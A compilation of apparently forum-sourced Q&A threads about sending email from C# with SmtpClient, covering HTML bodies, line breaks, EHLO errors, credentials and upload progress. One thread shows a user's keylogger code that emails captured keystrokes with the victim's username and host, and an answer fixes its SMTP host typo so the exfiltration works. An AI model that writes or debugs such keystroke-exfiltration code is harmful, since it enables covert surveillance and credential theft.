I'd like to send an email using C#
SmtpClient client = new SmtpClient(_smtp, int.Parse(_port));
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.EnableSsl = bool.Parse(_enableSsl);
client.UseDefaultCredentials = false;
client.Credentials = new NetworkCredential(APIKey, SecretKey);
MailMessage mail = new MailMessage();
mail.From = _from;
mail.To.Add(_to);
mail.Subject = _subject;
mail.Body = _body;
if(Uri.IsWellFormedUriString(url, UriKind.Absolute)) mail.Body += "<br/>" + url + "<br/>" + "Cordialement";
mail.IsBodyHtml = false;
client.Send(mail);
The mail is sent, but its body is received as a single line .
So How can I fix this issue?
Since you have the following line in your code:
mail.Body += "<br/>" + url + "<br/>" + "Cordialement";
I'm going to guess that the rest of your mail.Body also contains HTML.
If you are placing HTML in the body of the MailMessage, you need to set IsBodyHtml to true - you have it set to false.
mail.IsBodyHtml = true;

I am working on key logger that sends the keys to my email and I ran into a problem. I'm using visual studio C#, when I run the program, I get an exception "System.Net.Mail.SmtpException: 'Failure sending mail.'"
Is there a solution to this problem?
Here is my code:
... emailBody += "\nUser: " + Environment.UserDomainName + " \\ " + Environment.UserName;
emailBody += "\nhost " + host;
emailBody += "\ntime: " + now.ToString();
emailBody += logContents;
SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("email address");
mailMessage.To.Add("email address");
mailMessage.Subject = subject;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
mailMessage.Body = emailBody;
client.Send(mailMessage);
The host used for SMTP transactions is wrong. You need to modify it to smtp.gmail.com, rather than smpt.
I have a variable name that holds a hyperlink; I would like to send the hyperlink within an email.
I can send the email ok, but the hyperlink appears as text i.e.[http://www.google.com]Click here
using (MailMessage mailMessage = new MailMessage())
{
mailMessage.From = new MailAddress(ConfigurationManager.AppSettings["UserName"], "FileTransfer");
mailMessage.Subject = "FileTransfer";
var body = new StringBuilder();
body.AppendFormat("<html><head></head><body> Hello World" + "<br />" + "<a href='{0}'>Click here</a></body></html>", link);
mailMessage.IsBodyHtml = true;
mailMessage.Body = body.ToString();
mailMessage.To.Add(new MailAddress(toEmail));
SmtpClient smtp = new SmtpClient();
smtp.Host = ConfigurationManager.AppSettings["Host"];
smtp.EnableSsl = Convert.ToBoolean(ConfigurationManager.AppSettings["EnableSsl"]);
System.Net.NetworkCredential NetworkCred = new System.Net.NetworkCredential();
NetworkCred.UserName = ConfigurationManager.AppSettings["UserName"];
NetworkCred.Password = ConfigurationManager.AppSettings["Password"];
smtp.UseDefaultCredentials = true;
smtp.Credentials = NetworkCred;
smtp.Port = int.Parse(ConfigurationManager.AppSettings["Port"]);
smtp.Send(mailMessage);
}
Try replacing this...
body.AppendFormat("<html><head></head><body> Hello World" + "<br />" + "<a href='{0}'>Click here</a></body></html>", link);
with this
body.Append("<html><head></head><body> Hello World" + "<br />" + "Click here</body></html>");
According to https://msdn.microsoft.com/en-us/library/system.net.mail.mailmessage.alternateviews(v=vs.110).aspx
It seems like you have to set the content type and create an alternate view. Or if you don't want to have a plaintext version, set the default view to text/html
// Create a message and set up the recipients.
MailMessage message = new MailMessage(
"jane#contoso.com",
recipients,
"This e-mail message has multiple views.",
"This is some plain text.");
// Construct the alternate body as HTML.
string body = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">";
body += "<HTML><HEAD><META http-equiv=Content-Type content=\"text/html; charset=iso-8859-1\">";
body += "</HEAD><BODY><DIV><FONT face=Arial color=#ff0000 size=2>this is some HTML text";
body += "</FONT></DIV></BODY></HTML>";
ContentType mimeType = new System.Net.Mime.ContentType("text/html");
// Add the alternate body to the message.
AlternateView alternate = AlternateView.CreateAlternateViewFromString(body, mimeType);
message.AlternateViews.Add(alternate);
Some email provider software won't be capable of displaying text/html. Whether this is a protective measure or just lack of support, I believe this would be the best solution since it compensates for both cases.
I'm creating a contact page for visitors of my web site to send me email (in C#). When trying, I got an error about EHLO argument(s). Here is my code:

As documented here http://forums.asp.net/t/1622198.aspx?Syntactically+invalid+EHLO+argument+s+emailing
If you email having problem with rejected EHLO or HELO, caused by syntactically invalid argument(s).
1.Possible the hostname contains underscore(_).
2.This is not standard practice, having _ for your domain
3.for example takizo_mail.takizo.com
4.Most of the mail server rejected hostname with underscore.
5.Possibility is a Windows Admin
Make sure the server-name has only latin-characters in it, and no special symbols like underscore etc.
MailMessage msg = new MailMessage("from#a.com", "To#y.com");
msg.Subject = "Intraday";
msg.Sender = new MailAddress("sender#y.com");
msg.IsBodyHtml = false; //to preserve line breaks and to avoid the need for <br>s
msg.Body = "Body";
SmtpClient client = new SmtpClient("Server");
client.Send(msg);
I have a problem with a form, I can't send it. If I put wrong details (secure code, email, empty fields etc.), I get errors on screen, which is correct.
But when I enter all correct data, I can't send the form, I get this error:
There was an error submitting your form. Please check the following:
But the list is empty.
SmtpClient smtpClient = new SmtpClient();
MailMessage message = new MailMessage();
try

string emailGoesTo = "person1#domain.com";
MailAddress toAddress = new MailAddress(emailGoesTo.ToString(), "string1");

}
catch (Exception ex)
{
statusLabel.Text = "Coudn't send the message!";
}
I'm noobie, so is there any1 string5 & string6 please?
Also what is wrong? How to make this form working?
never tried to use smtpclient.host but the below works. Just need to add in the ip/host name of the mail server and make sure it is set up to allow relay from the machine calling the code. and replace the strings with the text you want. I'd suggest starting with something simple rather than feeding from form fields to eliminate any outside issues. Once the mail is sending then start adding additional pieces in.
public static string mailServer = 'IP address or host name of mail server'
public static void Send()
{
string subject = "test subject";
string address = "test#somedomain.com";
string body = "some mail body";
MailMessage mm = new MailMessage();
mm.From = new MailAddress("no-reply#domain.net"); //on behalf of
mm.To.Add(new MailAddress(address));
mm.IsBodyHtml = true;
mm.Subject = subject;
mm.Body = body;
SmtpClient server = new SmtpClient(mailServer);
server.Send(mm);
}
}
string5 and string6 is email credentials on mail server (username and password). You should know it better us ;-)
You need to update your smtpClinet.Host with the name / domain information for your mail server. The Credentials need to be updated with the username and password of a user that can access your mail server. Sometimes this can be left out.
I am using this function to send mails via gmail.
private bool uploadToGmail(string username, string password , string file ,
string backupnumber)
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("jain#gmail.com");
mail.To.Add("jain#gmail.com");
mail.Subject = "Backup mail- Dated- " + DateTime.Now + " part - " +
backupnumber;
mail.Body = "Hi self. This mail contains \n backup number- " +
backupnumber + " \n Dated- " + DateTime.Now ;
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment(file);
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials =
new System.Net.NetworkCredential("jain#gmail.com", "password");
SmtpServer.EnableSsl = true;
SmtpServer.Timeout = 999999999;
SmtpServer.Send(mail);
// MessageBox.Show("mail Sent");
return true;
}
Now I want to show a progress bar (in case there is a large attachment) to show the upload . Is this possible ? I think I know how to use a progress bar, but don't know how to use it with Smtpclient.send() .
any help ?
Thanks
You should use SendAsync and subscribe to SendCompleted, to know, when the sending your mail completed. There is no way to get the progress of the send process, though...
